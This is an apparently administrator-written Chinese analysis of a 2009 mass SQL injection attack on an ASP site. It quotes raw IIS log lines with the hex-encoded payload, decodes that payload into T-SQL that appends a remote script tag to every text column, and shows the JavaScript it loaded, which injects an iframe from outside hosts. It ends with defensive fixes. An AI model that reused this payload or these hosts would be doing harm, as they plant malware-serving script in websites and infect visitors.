34c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72%20eXeC(@s);
GET /dispcontent.asp id=145;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x4445434c415245204054207661726368617228323535292c404320766172636861722832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d727472696d28636f6e7665727428766172636861722c5b272b40432b275d29292b2727223e3c736372697074207372633d687474703a2f2f2533392533362533332532452537332537332532452536432536313e3c2f7363726970743e272727294645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72%20eXeC(@s);--|-|ASP_0113|脚本超时
 /dispcontent.asp id=145;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x4445434c415245204054207661726368617228323535292c404320766172636861722832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d727472696d28636f6e7665727428766172636861722c5b272b40432b275d29292b2727223e3c736372697074207372633d687474703a2f2f2533392533362533332532452537332537332532452536432536313e3c2f7363726970743e272727294645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72%20eXeC(@s);
GET /dispcontent.asp id=145;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x4445434c415245204054207661726368617228323535292c404320766172636861722832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d727472696d28636f6e7665727428766172636861722c5b272b40432b275d29292b2727223e3c736372697074207372633d687474703a2f2f2533392533362533332532452537332537332532452536432536313e3c2f7363726970743e272727294645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72%20eXeC(@s);
2009-08-26 01:43:43 59.50.142.125 - W3SVC6 xxx 10.2.0.151 56789 GET /flash/getdetails.asp Record=13|9|80040e4d|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]用户_'boray'_登录失败。 500 0 0 445 16

2009-08-26 01:44:37 59.50.142.125 - W3SVC6 CIS 10.2.0.151 56789 GET /flash/getdetails.asp Record=13|9|80040e4d|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]用户_'boray'_登录失败。 500 0 0 445 15

2009-08-26 02:30:50 114.247.10.160 - W3SVC6 CIS 10.4.0.125 56789 GET /flash/getdetails.asp Record=0|9|80040e4d|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]用户_'boray'_登录失败。 500 0 0 427 0

网站存在的漏洞地方有:
http://www.xx.xx/dispcontent.asp?id=29 注入点1
http://www.xx.xx/listnews.asp?id=2 注入点2
http://www.xx.xx/reg.asp 注入点3
后台密码 需要加密? OR或者改变下密码! 不是必须的。网站登录的密码没有在数据库中加密。不过如果攻击者拿到了MD5加密的密码也可以解密出来的。网上现在都提供这种服务了!!!
dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x4445434c415245204054207661726368617228323535292c404320766172636861722832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d727472696d28636f6e7665727428766172636861722c5b272b40432b275d29292b2727223e3c736372697074207372633d687474703a2f2f2533392533362533332532452537332537332532452536432536313e3c2f7363726970743e272727294645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72%20eXeC(@s)
网上说攻击的类似代码如下
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://cn.jxmmtv.com/cn.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
我们自己翻译下   %20是空格 0X是16进制  需要转换过来
DECLARE @S VARCHAR(8000)
SET @s=DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C //游标指向下一条数据
WHILE(@@FETCH_STATUS=0) //结果成功后执行下一句 循环执行
BEGIN
exec
('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''"><script src=http://%39%36%33%2E%73%73%2E%6C%61></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor DEALLOCATE Table_Cursor
exec(@s)
上面注入语句的解释
定义了3个变量 @s是用来执行的语句,@t,@c 分别用来存储系统表名和选择出来的列名。
select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
这里选择出了一个结果集 属于用户表的并且字段是ntext,nvarchar,text,varchar  然后利用游标循环进行更新需要注入的代码。
fetch   next   from   abc   into   @t,@c
取出一个上面选择出来结果集中的一条数据结果 将之更新到临时变量@t @c中。   
注入后如果你的表中存在nvarchar ntext text就有可能出现截断的情况,即使恢复了,也是不完全的。
因为这里有了强制转换 convert(varchar,['+@C+'])
注释:
1  sysobjects,syscolumns是系统表,存储着当前数据库中表的基本数据,例如表的名字,表中列名,数据库中的存储过程等。
2 sysobjexts中name是列名,xtype就是数据类型,但是这个xtype是数字的,下面是数字和数据类型对应的关系;
xtype=34 'image'
xtype=35 'text'   这里是需要注入的类型
xtype=36 'uniqueidentifier'
xtype=48 'tinyint'
xtype=52 'smallint'
xtype=56 'int'
xtype=58 'smalldatetime'
xtype=59 'real'
xtype=60 'money'
xtype=61 'datetime'
xtype=62 'float'
xtype=98 'sql_variant'
xtype=99 'ntext'       这里是需要注入的类型
xtype=104 'bit'
xtype=106 'decimal'
xtype=108 'numeric'
xtype=122 'smallmoney'
xtype=127 'bigint'
xtype=165 'varbinary'
xtype=167 'varchar'   这里是需要注入的类型
xtype=173 'binary'
xtype=175 'char'
xtype=189 'timestamp'
xtype=231 'nvarchar'  这里是需要注入的类型
xtype=239 'nchar'
xtype=241 'xml'
xtype=231 'sysname'
3 关于
@@FETCH_STATUS
返回被 FETCH 语句执行的最后游标的状态,而不是任何当前被连接打开的游标的状态。
返回值 描述
0 FETCH 语句成功。
-1 FETCH 语句失败或此行不在结果集中。
-2 被提取的行不存在。

语法
@@FETCH_STATUS
返回类型
integer

由于 @@FETCH_STATUS 对于在一个连接上的所有游标是全局性的,要小心使用 @@FETCH_STATUS 。在执行一条 FETCH 语句后,必须在对另一游标执行另一 FETCH 语句前测试 @@FETCH_STATUS 。在任何提取操作出现在此连接上前,@@FETCH_STATUS 的值没有定义。
例如,用户从一个游标执行一条 FETCH 语句,然后调用一个存储过程,此存储过程打开并处理另一个游标的结果。当控制从被调用的存储过程返回后,@@FETCH_STATUS 反映的是在存储过程中执行的最后的 FETCH 语句的结果,而不是在存储过程被调用之前的 FETCH 语句的结果。

4 DEALLOCATE
删除游标引用。当释放最后的游标引用时,组成该游标的数据结构由 Microsoft? SQL Server? 释放。
语法
DEALLOCATE { { [ GLOBAL ] cursor_name } | @cursor_variable_name }
参数
cursor_name
是已声明游标的名称。当全局和局部游标都以 cursor_name 作为它们的名称存在时,如果指定 GLOBAL,则 cursor_name 引用全局游标,如果未指定 GLOBAL,则 cursor_name 引用局部游标。
@cursor_variable_name
是 cursor 变量的名称。@cursor_variable_name 必须为 cursor 类型。

对游标进行操作的语句使用游标名称或游标变量引用游标。DEALLOCATE 删除游标与游标名称或游标变量之间的关联。如果一个名称或变量是最后引用游标的名称或变量,则将释放游标,游标使用的任何资源也随之释放。用于保护提取隔离的滚动锁在 DEALLOCATE 上释放。用于保护更新(包括通过游标进行的定位更新)的事务锁一直到事务结束才释放。
DECLARE CURSOR 语句分配游标并使其与游标名称关联:
DECLARE abc SCROLL CURSOR FOR
SELECT * FROM authors
游标名称与某个游标关联之后,该游标在释放之前不能用作相同作用域(GLOBAL 或 LOCAL)内另一个游标的名称。
游标变量使用下列两种方法之一与游标关联:
通过名称,使用 SET 语句将游标设置为游标变量:
DECLARE @MyCrsrRef CURSOR
SET @MyCrsrRef = abc
也可以不定义游标名称而创建游标并使其与变量关联:
DECLARE @MyCursor CURSOR
SET @MyCursor = CURSOR LOCAL SCROLL FOR
SELECT * FROM titles
DEALLOCATE @cursor_variable_name 语句只删除对游标命名变量的引用。直到批处理、存储过程或触发器结束时变量离开作用域,才释放变量。在 DEALLOCATE @cursor_variable_name 语句之后,可以使用 SET 语句使变量与另一个游标关联。
USE pubs
GO
DECLARE @MyCursor CURSOR
SET @MyCursor = CURSOR LOCAL SCROLL FOR
SELECT * FROM titles
DEALLOCATE @MyCursor
SET @MyCursor = CURSOR LOCAL SCROLL FOR
SELECT * FROM sales
GO
不必显式释放游标变量。变量在离开作用域时被隐性释放。
权限
默认情况下,将 DEALLOCATE 权限授予任何有效用户。

打开IP地址 http://%39%36%33%2E%73%73%2E%6C%61  代表的地址是:http://963.ss.la
下载下来一段JS代码
var s,siteUrl,tmpdomain;
var arydomain = new Array(".gov.cn",".e1du.cn",".dl108.com");
s = document.location+"";
siteUrl=s.substring(7,s.indexOf('/',7));
tmpdomain = 0;
for(var i=0;i<arydomain.length; i++)
{
if(siteUrl.indexOf(arydomain[i]) > -1){
tmpdomain = 1;
break;
}
}
if(tmpdomain == 0){
document.writeln("<iframe src=http://wo8.ss.la/1/google.htm?1 width=123 height=1></iframe>");
}
打开http://wo8.ss.la/1/google.htm?1 肯定有会跳转 继续弹开N个窗口 。
解决办法:
1 从注入的角度看 ,它需要对上面2个系统表sysobjects,syscolumns进行操作,而我们需要做的就是将之权限降低,使它没有权限进行操作 它也就不能进行SQL注入了。
2 还有种办法,它注入的是ntext ,varchar等,我们可以利用自定义类型来回避它的注入。
最后根本解决办法
要避免这类注入 还是要在代码中进行检验,不要有注入点。